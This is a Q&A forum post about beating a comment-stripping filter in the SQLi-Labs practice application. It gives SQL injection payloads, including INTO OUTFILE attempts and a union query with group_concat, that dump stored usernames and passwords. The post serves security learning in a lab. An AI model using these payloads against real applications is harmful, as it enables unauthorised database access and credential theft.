SQLi with comment filter: dumping the database

Question

The following SQLi (MySQL) filter is from SQLi-Labs:

...
 $reg = "/#/"
 $reg1 ="/--/"
 $replace =""
 $id=preg_replace($reg,$replace,$id);
 $id=preg_replace($reg1,$replace,$id);
 ....
 $sql = "SELECT * FROM users where id='$id' LIMIT 0,1";

I know the filter can be evaded by something like 'or '1'='1. However, I would like to see if it is possible to perform an outfile dump of the whole database, so I've tried things like:

 ' union select null,username,password from users into outfile "/tmp/file"...

however due to the ' LIMIT 0,1 at the end I'm having trouble figuring out how to end the payload. I've thought about doing multiple union queries, say:

 ' union all select null,username,password from users into outfile "/tmp/file" union all select null,username,password from users group by '

However, I get an error, because I believe the into outfile part has to be the last query. I also thought about using FIELDS TERMINATED BY ' but now the LIMIT 0,1 is in my way.

Is there anyway around this to perform a outfile dump of the database? Is it possible to dump the database through the error instead?

Answer 1

I figured out that the following injection dumped the database(not through outfile though):

' union select null,group_concat(username),group_concat(password) from users group by '